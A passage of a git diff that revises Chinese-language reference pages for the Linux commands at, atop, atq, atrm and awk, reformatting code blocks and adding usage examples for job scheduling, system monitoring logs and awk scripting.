用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。 +**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。 -上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。 更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。 +上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count time-units`,now就是当前时间,time-units是时间单位,这里能够是minutes(分钟)、hours(小时)、days(天)、weeks(星期)。count是时间的数量,究竟是几天,还是几小时,等等。更有一种计时方法就是直接使用today(今天)、tomorrow(明天)来指定完成命令的时间。 -### 语法 +### 语法 -``` -at(选项)(参数) +```shell +at [-V] [-q 队列] [-f 文件] [-mldbv] 时间 at -c 作业 [作业...] ``` -### 选项 +### 选项 -``` +```shell -f:指定包含具体指令的任务文件; -q:指定新任务的队列名称; -l:显示待执行任务的列表; @@ -25,15 +25,15 @@ at(选项)(参数) -m:任务执行完成后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间:指定任务执行的日期时间。 -### 实例 +### 示例 -三天后的下午 5 点锺执行`/bin/ls`: +三天后的下午 5 点钟执行`/bin/ls`: -``` +```shell [root@localhost ~]# at 5pm+3 days at> /bin/ls at> @@ -42,7 +42,7 @@ job 7 at 2013-01-08 17:00 明天17点钟,输出时间到指定文件内: -``` +```shell [root@localhost ~]# at 17:20 tomorrow at> date >/root/2013.log at> @@ -51,7 +51,7 @@ job 8 at 2013-01-06 17:20 计划任务设定后,在没有执行之前我们可以用atq命令来查看系统没有执行工作任务: -``` +```shell [root@localhost ~]# atq 8 2013-01-06 17:20 a root 7 2013-01-08 17:00 a root @@ -59,11 +59,7 @@ job 8 at 2013-01-06 17:20 删除已经设置的任务: -``` -[root@localhost ~]# atq -8 2013-01-06 17:20 a root -7 2013-01-08 17:00 a root - +```shell [root@localhost ~]# atrm 7 [root@localhost ~]# atq 8 2013-01-06 17:20 a root @@ -71,7 +67,7 @@ job 8 at 2013-01-06 17:20 显示已经设置的任务内容: -``` +```shell [root@localhost ~]# at -c 8 #!/bin/sh # atrun uid=0 gid=0 @@ -80,5 +76,28 @@ umask 22此处省略n个字符 date >/root/2013.log ``` +使用任务文件执行任务: + +```shell +[root@localhost ~]# echo "/bin/ls" > mytask.txt +[root@localhost ~]# at -f mytask.txt 5pm+3 days +job 9 at 2013-01-08 17:00 +``` + +指定任务队列执行任务: - \ No newline at end of file +```shell +[root@localhost ~]# at -q b 5pm+3 days +at> /bin/ls +at> +job 10 at 2013-01-08 17:00 +``` + +任务执行完成后发送E-mail通知: + +```shell +[root@localhost ~]# at -m 5pm+3 days +at> /bin/ls +at> +job 11 at 2013-01-08 17:00 +``` \ No newline at end of file diff --git a/command/atop.md b/command/atop.md index 3ead1d6d07b..ca04cc49b93 100644 --- a/command/atop.md +++ b/command/atop.md @@ -5,27 +5,32 @@ atop ## 补充说明 -[非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其源码和rpm安装包。 +**atop命令** 是一款开源的系统监控工具,它以一定的频率记录系统的运行状态,采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中。服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 -## 语法 +## 语法 +```shell +atop [选项] [参数] ``` -atop(选项)(参数) -``` -## 说明 +## 说明 + +### ATOP列 -**ATOP列**:该列显示了主机名、信息采样日期和时间点 +该列显示了主机名、信息采样日期和时间点。 -**PRC列**:该列显示进程整体运行情况 +### PRC列 + +该列显示进程整体运行情况: - sys、usr字段分别指示进程在内核态和用户态的运行时间 -- #proc字段指示进程总数 -- #zombie字段指示僵死进程的数量 -- #exit字段指示atop采样周期期间退出的进程数量 +- `#proc` 字段指示进程总数 +- `#zombie` 字段指示僵尸进程的数量 +- `#exit` 字段指示atop采样周期期间退出的进程数量 +### CPU列 -**CPU列**:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲) +该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况: - sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例 - irq字段指示CPU被用于处理中断的时间比例 @@ -34,15 +39,21 @@ atop(选项)(参数) CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。 -cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100% +### cpu列 + +该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100%。 -**CPL列**:该列显示CPU负载情况 +### CPL列 + +该列显示CPU负载情况: - avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量 - csw字段指示上下文交换次数 - intr字段指示中断发生次数 -**MEM列**:该列指示内存的使用情况 +### MEM列 + +该列指示内存的使用情况: - tot字段指示物理内存总量 - free字段指示空闲内存的大小 @@ -50,51 +61,54 @@ cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU - buff字段指示用于文件缓存的内存大小 - slab字段指示系统内核占用的内存大小 -**SWP列**:该列指示交换空间的使用情况 +### SWP列 + +该列指示交换空间的使用情况: - tot字段指示交换区总量 - free字段指示空闲交换空间大小 -**PAG列**:该列指示虚拟内存分页情况 +### PAG列 -swin、swout字段:换入和换出内存页数 +该列指示虚拟内存分页情况: -**DSK列**:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息 +- swin、swout字段:换入和换出内存页数 + +### DSK列 + +该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息: - sda字段:磁盘设备标识 - busy字段:磁盘忙时比例 - read、write字段:读、写请求数量 -**NET列**:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息 +### NET列 -- XXXi 字段指示各层或活动网口收包数目 -- XXXo 字段指示各层或活动网口发包数目 +多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息: +- XXXi字段指示各层或活动网口收包数目 +- XXXo字段指示各层或活动网口发包数目 ## atop日志 -每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢? - -对于atop日志文件的保存方式,我们可以这样: +每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用`atop -r XXX`命令对日志文件进行查看。日志文件的保存方式如下: - 每天保存一个atop日志文件,该日志文件记录当天信息 -- 日志文件以"atop_YYYYMMDD"的方式命名 +- 日志文件以`atop_YYYYMMDD`的方式命名 - 设定日志失效期限,自动删除一段时间前的日志文件 -其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天): +atop开发者提供了以上日志保存方式,相应的`atop.daily`脚本可以在源码目录下找到。在`atop.daily`脚本中,我们可以通过修改`INTERVAL`变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天): -``` +```shell (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& ``` -最后,我们修改cron文件,每天凌晨执行atop.daily脚本: +最后,我们修改cron文件,每天凌晨执行`atop.daily`脚本: -``` +```shell 0 0 * * * root /etc/cron.daily/atop.daily ``` ## 相关资料 - [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf) - - \ No newline at end of file diff --git a/command/atq.md b/command/atq.md index 31f0586c6b6..5fd86e76812 100644 --- a/command/atq.md +++ b/command/atq.md @@ -1,36 +1,62 @@ atq === - + 列出当前用户的at任务列表 ## 补充说明 **atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。 -### 语法 +### 语法 -``` -atq(选项) +```shell +atq [-V] [-q 队列] [-v] ``` -### 选项 +### 选项 -``` +```shell -V:显示版本号; -q:查询指定队列的任务。 ``` -### 实例 +### 示例 -``` -at now + 10 minutes +创建一个在10分钟后执行的任务,并列出当前用户的任务列表: + +```shell +[root@localhost ~]# at now + 10 minutes at> echo 1111 -at> +at> job 3 at Fri Apr 26 12:56:00 2013 +``` -atq +使用`atq`命令查看当前用户的任务列表: + +```shell +[root@localhost ~]# atq 3 Fri Apr 26 12:56:00 2013 a root ``` +查询指定队列的任务: + +```shell +[root@localhost ~]# at -q a now + 10 minutes +at> echo "Task in queue a" +at> +job 4 at Fri Apr 26 13:06:00 2013 +``` + +使用`atq`命令查看队列`a`中的任务: + +```shell +[root@localhost ~]# atq -q a +4 Fri Apr 26 13:06:00 2013 a root +``` + +显示`atq`命令的版本号: - \ No newline at end of file +```shell +[root@localhost ~]# atq -V +atq (GNU at) 3.1.20 +``` \ No newline at end of file diff --git a/command/atrm.md b/command/atrm.md index 2691142deba..73759f40413 100644 --- a/command/atrm.md +++ b/command/atrm.md @@ -1,39 +1,38 @@ atrm === - + 删除待执行任务队列中的指定任务 ## 补充说明 **atrm命令** 用于删除待执行任务队列中的指定任务。 -### 语法 +### 语法 -``` +```shell atrm(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -V:显示版本号。 ``` -### 参数 +### 参数 任务号:指定待执行队列中要删除的任务。 -### 实例 +### 实例 删除已经排队的任务 -``` -atq //显示当前已经设置的任务 +```shell +atq # 显示当前已经设置的任务 2 Mon May 17 08:00:00 2010 a root 1 Sat May 15 17:00:00 2010 a root -atrm 2 //删除任务2 +atrm 2 # 删除任务2 ``` - \ No newline at end of file diff --git a/command/awk.md b/command/awk.md index a64c8856014..9a540cb3d81 100644 --- a/command/awk.md +++ b/command/awk.md @@ -9,58 +9,57 @@ awk ## awk命令格式和选项 - **语法形式** +**语法形式** -``` +```shell awk [options] 'script' var=value file(s) awk [options] -f scriptfile var=value file(s) ``` - **常用命令选项** +**常用命令选项** -* **-F fs   ** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F: -* **-v var=value   ** 赋值一个用户定义变量,将外部变量传递给awk -* **-f scripfile  ** 从脚本文件中读取awk命令 -* **-m[fr] val   ** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。 +* **-F fs** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:,默认的分隔符是连续的空格或制表符 +* **-v var=value** 赋值一个用户定义变量,将外部变量传递给awk +* **-f scripfile** 从脚本文件中读取awk命令 +* **-m[fr] val** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。 ## awk模式和操作 awk脚本是由模式和操作组成的。 -### 模式 +### 模式 模式可以是以下任意一个: -* /正则表达式/:使用通配符的扩展集。 -* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。 -* 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。 -* BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理 +* /正则表达式/:使用通配符的扩展集。 +* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。 +* 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。 +* BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理 -### 操作 +### 操作 操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大括号内,主要部分是: -* 变量或数组赋值 -* 输出命令 -* 内置函数 -* 控制流语句 +* 变量或数组赋值 +* 输出命令 +* 内置函数 +* 控制流语句 ## awk脚本基本结构 -``` +```shell awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file ``` -一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 或 **双引号** 中,例如: +一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 中,例如: -``` +```shell awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename -awk "BEGIN{ i=0 } { i++ } END{ print i }" filename ``` -### awk的工作原理 +### awk的工作原理 -``` +```shell awk 'BEGIN{ commands } pattern{ commands } END{ commands }' ``` @@ -76,8 +75,8 @@ awk 'BEGIN{ commands } pattern{ commands } END{ commands }' **示例** -``` -echo -e "A line 1nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' +```shell +echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' Start A line 1 A line 2 @@ -86,14 +85,14 @@ End 当使用不带参数的`print`时,它就打印当前行,当`print`的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如: -``` +```shell echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }' v1 v2 v3 ``` 双引号拼接使用: -``` +```shell echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }' v1=v2=v3 ``` @@ -104,7 +103,7 @@ v1=v2=v3 说明:[A][N][P][G]表示第一个支持变量的工具,[A]=awk、[N]=nawk、[P]=POSIXawk、[G]=gawk -``` +```shell **$n** 当前记录的第n个字段,比如n为1表示第一个字段,n为2表示第二个字段。 **$0** 这个变量包含执行过程中当前行的文本内容。 [N] **ARGC** 命令行参数的数目。 @@ -129,9 +128,21 @@ v1=v2=v3 [N] **SUBSEP** 数组下标分隔符(默认值是34)。 ``` - **示例** +转义序列 ``` +\\ \自身 +\$ 转义$ +\t 制表符 +\b 退格符 +\r 回车符 +\n 换行符 +\c 取消换行 +``` + +**示例** + +```shell echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}' Line No:1, No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3 Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5 @@ -140,14 +151,14 @@ Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7 使用`print $NF`可以打印出一行中的最后一个字段,使用`$(NF-1)`则是打印倒数第二个字段,其他以此类推: -``` -echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $NF}' +```shell +echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}' f3 f5 ``` -``` -echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $(NF-1)}' +```shell +echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}' f2 f4 @@ -155,13 +166,13 @@ f4 打印每一行的第二和第三个字段: -``` +```shell awk '{ print $2,$3 }' filename ``` 统计文件中的行数: -``` +```shell awk 'END{ print NR }' filename ``` @@ -169,7 +180,7 @@ awk 'END{ print NR }' filename 一个每一行中第一个字段值累加的例子: -``` +```shell seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ print "等于"; print sum }' 总和: 1+ @@ -185,14 +196,14 @@ seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ pri 借助 **`-v`选项** ,可以将外部值(并非来自stdin)传递给awk: -``` +```shell VAR=10000 echo | awk -v VARIABLE=$VAR '{ print VARIABLE }' ``` 另一种传递外部变量方法: -``` +```shell var1="aaa" var2="bbb" echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2 @@ -200,7 +211,7 @@ echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2 当输入来自于文件时使用: -``` +```shell awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename ``` @@ -208,7 +219,7 @@ awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename ## 查找进程pid -``` +```shell netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}' ``` @@ -216,96 +227,115 @@ netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}' 作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的基本相同。awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外,awk中允许进行多种测试,作为样式匹配,还提供了模式匹配表达式~(匹配)和!~(不匹配)。作为对测试的一种扩充,awk也支持用逻辑运算符。 -### 算术运算符 +### 算术运算符 -| 运算符 | 描述 | -| ----- | ---- | -| + - | 加,减 | -| * / & | 乘,除与求余 | +| 运算符 | 描述 | +| ----- | ---- | +| + - | 加,减 | +| * / & | 乘,除与求余 | | + - ! | 一元加,减和逻辑非 | | ^ *** | 求幂 | | ++ -- | 增加或减少,作为前缀或后缀 | 例: -``` +```shell awk 'BEGIN{a="b";print a++,++a;}' 0 2 ``` 注意:所有用作算术运算符进行操作,操作数自动转为数值,所有非数值都变为0 -### 赋值运算符 +### 赋值运算符 -| 运算符 | 描述 | -| ----- | ---- | -| = += -= *= /= %= ^= **= | 赋值语句 | +| 运算符 | 描述 | +| ----- | ---- | +| = += -= *= /= %= ^= **= | 赋值语句 | 例: -``` +```shell a+=5; 等价于:a=a+5; 其它同类 ``` -### 逻辑运算符 +### 逻辑运算符 -| 运算符 | 描述 | -| ----- | ---- | -| `\|\|` | 逻辑或 | -| && | 逻辑与 | +| 运算符 | 描述 | +| ----- | ---- | +| `\|\|` | 逻辑或 | +| && | 逻辑与 | 例: -``` +```shell awk 'BEGIN{a=1;b=2;print (a>5 && b<=2),(a>5 || b<=2);}' 0 1 ``` -### 正则运算符 +### 正则运算符 + +| 运算符 | 描述 | +| ----- | ---- | +| ~ !~ | 匹配正则表达式和不匹配正则表达式 | + +``` +^ 行首 +$ 行尾 +. 除了换行符以外的任意单个字符 +* 前导字符的零个或多个 +.* 所有字符 +[] 字符组内的任一字符 +[^]对字符组内的每个字符取反(不匹配字符组内的每个字符) +^[^] 非字符组内的字符开头的行 +[a-z] 小写字母 +[A-Z] 大写字母 +[a-Z] 小写和大写字母 +[0-9] 数字 +\< 单词头单词一般以空格或特殊字符做分隔,连续的字符串被当做单词 +\> 单词尾 +``` -| 运算符 | 描述 | -| ----- | ---- | -| ~ !~ | 匹配正则表达式和不匹配正则表达式 | +> 正则需要用 /正则/ 包围住 例: -``` +```shell awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}' ok ``` -### 关系运算符 +### 关系运算符 -| 运算符 | 描述 | -| ----- | ---- | -| < <= > >= != == | 关系运算符 | +| 运算符 | 描述 | +| ----- | ---- | +| < <= > >= != == | 关系运算符 | 例: -``` +```shell awk 'BEGIN{a=11;if(a >= 9){print "ok";}}' ok ``` 注意:> < 可以作为字符串比较,也可以用作数值比较,关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较:按照ASCII码顺序比较。 -### 其它运算符 +### 其它运算符 -| 运算符 | 描述 | -| ----- | ---- | -| $ | 字段引用 | -| 空格 | 字符串连接符 | -| ?: | C条件表达式 | -| in | 数组中是否存在某键值 | +| 运算符 | 描述 | +| ----- | ---- | +| $ | 字段引用 | +| 空格 | 字符串连接符 | +| ?: | C条件表达式 | +| in | 数组中是否存在某键值 | 例: -``` +```shell awk 'BEGIN{a="b";print a=="b"?"ok":"err";}' ok ``` -``` +```shell awk 'BEGIN{a="b";arr[0]="b";arr[1]="c";print (a in arr);}' 0 ``` @@ -315,18 +345,18 @@ awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}' 1 ``` -### 运算级优先级表 +### 运算级优先级表 !级别越高越优先 级别越高越优先 ## awk高级输入输出 -### 读取下一条记录 +### 读取下一条记录 awk中`next`语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并: -``` +```shell cat text.txt a b @@ -341,9 +371,9 @@ awk 'NR%2==1{next}{print NR,$0;}' text.txt 当记录行号除以2余1,就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始,程序有开始判断`NR%2`值。这个时候记录行号是`:2` ,就会执行下面语句块:`'print NR,$0'` -分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行: +跳过以“web”为首的行,再将该行内容分别与下面不以“web”为首的行合并打印,使用一个“:”和一个制表符连接: -``` +```shell cat text.txt web01[192.168.2.100] httpd ok @@ -356,7 +386,7 @@ web03[192.168.2.102] mysqld ok httpd ok 0 -awk '/^web/{T=$0;next;}{print T":t"$0;}' test.txt +awk '/^web/{T=$0;next;}{print T":\t"$0;}' text.txt web01[192.168.2.100]: httpd ok web01[192.168.2.100]: tomcat ok web01[192.168.2.100]: sendmail ok @@ -366,7 +396,7 @@ web03[192.168.2.102]: mysqld ok web03[192.168.2.102]: httpd ok ``` -### 简单地读取一条记录 +### 简单地读取一条记录 `awk getline`用法:输出重定向需用到`getline函数`。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。 @@ -374,46 +404,46 @@ getline语法:getline var,变量var包含了特定行的内容。 awk getline从整体上来说,用法说明: -* **当其左右无重定向符`|`或`<`时:** getline作用于当前文件,读入当前文件的第一行给其后跟的变量`var`或`$0`(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。 -* **当其左右有重定向符`|`或`<`时:** getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。 +* **当其左右无重定向符`|`或`<`时:** getline作用于当前文件,读入当前文件的第一行给其后跟的变量`var`或`$0`(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。 +* **当其左右有重定向符`|`或`<`时:** getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。 - **示例:** +**示例:** 执行linux的`date`命令,并通过管道输出给`getline`,然后再把输出赋值给自定义变量out,并打印它: -``` +```shell awk 'BEGIN{ "date" | getline out; print out }' test ``` 执行shell的date命令,并通过管道输出给getline,然后getline从管道中读取并将输入赋值给out,split函数把变量out转化成数组mon,然后打印数组mon的第二个元素: -``` +```shell awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test ``` 命令ls的输出传递给geline作为输入,循环使getline从ls的输出中读取一行,并把它打印到屏幕。这里没有输入文件,因为BEGIN块在打开输入文件前执行,所以可以忽略输入文件。 -``` +```shell awk 'BEGIN{ while( "ls" | getline) print }' ``` -### 关闭文件 +### 关闭文件 awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。 -``` +```shell close("filename") ``` filename可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件,可以是stdout,包含文件名的变量或使用管道的确切命令。 -### 输出到一个文件 +### 输出到一个文件 awk中允许用如下方式将结果输出到一个文件: -``` +```shell echo | awk '{printf("hello word!n") > "datafile"}' -或 +# 或 echo | awk '{printf("hello word!n") >> "datafile"}' ``` @@ -421,9 +451,9 @@ echo | awk '{printf("hello word!n") >> "datafile"}' 默认的字段定界符是空格,可以使用`-F "定界符"` 明确指定一个定界符: -``` +```shell awk -F: '{ print $NF }' /etc/passwd -或 +# 或 awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd ``` @@ -433,9 +463,9 @@ awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd 在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法。 -### 条件判断语句 +### 条件判断语句 -``` +```shell if(表达式) 语句1 else @@ -444,7 +474,7 @@ else 格式中语句1可以是多个语句,为了方便判断和阅读,最好将多个语句用{}括起来。awk分枝结构允许嵌套,其格式为: -``` +```shell if(表达式) {语句1} else if(表达式) @@ -455,7 +485,7 @@ else 示例: -``` +```shell awk 'BEGIN{ test=100; if(test>90){ @@ -474,18 +504,18 @@ very good 每条命令语句后面可以用`;` **分号** 结尾。 -### 循环语句 +### 循环语句 -#### while语句 +### # while语句 -``` +```shell while(表达式) {语句} ``` 示例: -``` +```shell awk 'BEGIN{ test=100; total=0; @@ -498,20 +528,20 @@ print total; 5050 ``` -#### for循环 +### # for循环 for循环有两种格式: 格式1: -``` +```shell for(变量 in 数组) {语句} ``` 示例: -``` +```shell awk 'BEGIN{ for(k in ENVIRON){ print k"="ENVIRON[k]; @@ -532,14 +562,14 @@ SSH_CLIENT=192.168.1.21 53087 22 格式2: -``` +```shell for(变量;条件;表达式) {语句} ``` 示例: -``` +```shell awk 'BEGIN{ total=0; for(i=0;i<=100;i++){ @@ -550,16 +580,16 @@ print total; 5050 ``` -#### do循环 +### # do循环 -``` +```shell do {语句} while(条件) ``` 例子: -``` +```shell awk 'BEGIN{ total=0; i=0; @@ -569,31 +599,31 @@ do {total+=i;i++;} while(i<=100) 5050 ``` -### 其他语句 +### 其他语句 -* **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。 -* **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。 -* **next** 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。 -* **exit** 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。 +* **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。 +* **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。 +* **next** 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。 +* **exit** 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。 ## 数组应用 数组是awk的灵魂,处理文本中最不能少的就是它的数组处理。因为数组索引(下标)可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。 -### 数组的定义 +### 数组的定义 数字做数组索引(下标): -``` +```shell Array[1]="sun" Array[2]="kai" ``` 字符串做数组索引(下标): -``` +```shell Array["first"]="www" -Array"[last"]="name" +Array["last"]="name" Array["birth"]="1987" ``` @@ -601,32 +631,32 @@ Array["birth"]="1987" **读取数组的值** -``` +```shell { for(item in array) {print array[item]}; } #输出的顺序是随机的 { for(i=1;i<=len;i++) {print array[i]}; } #Len是数组的长度 ``` -### 数组相关函数 +### 数组相关函数 - **得到数组长度:** +**得到数组长度:** -``` +```shell awk 'BEGIN{info="it is a test";lens=split(info,tA," ");print length(tA),lens;}' 4 4 ``` length返回字符串以及数组长度,split进行分割字符串为数组,也会返回分割得到数组长度。 -``` +```shell awk 'BEGIN{info="it is a test";split(info,tA," ");print asort(tA);}' 4 ``` asort对数组进行排序,返回数组长度。 - **输出数组内容(无序,有序输出):** +**输出数组内容(无序,有序输出):** -``` +```shell awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}' 4 test 1 it @@ -636,7 +666,7 @@ awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}' `for…in`输出,因为数组是关联数组,默认是无序的。所以通过`for…in`得到是无序的数组。如果需要得到有序数组,需要通过下标获得。 -``` +```shell awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){print k,tA[k];}}' 1 it 2 is @@ -646,10 +676,10 @@ awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){prin 注意:数组下标是从1开始,与C数组不一样。 - **判断键值存在以及删除键值:** +**判断键值存在以及删除键值:** -``` -#错误的判断方法: +```shell +# 错误的判断方法: awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if(tB["c"]!="1"){print "no found";};for(k in tB){print k,tB[k];}}' no found a a1 @@ 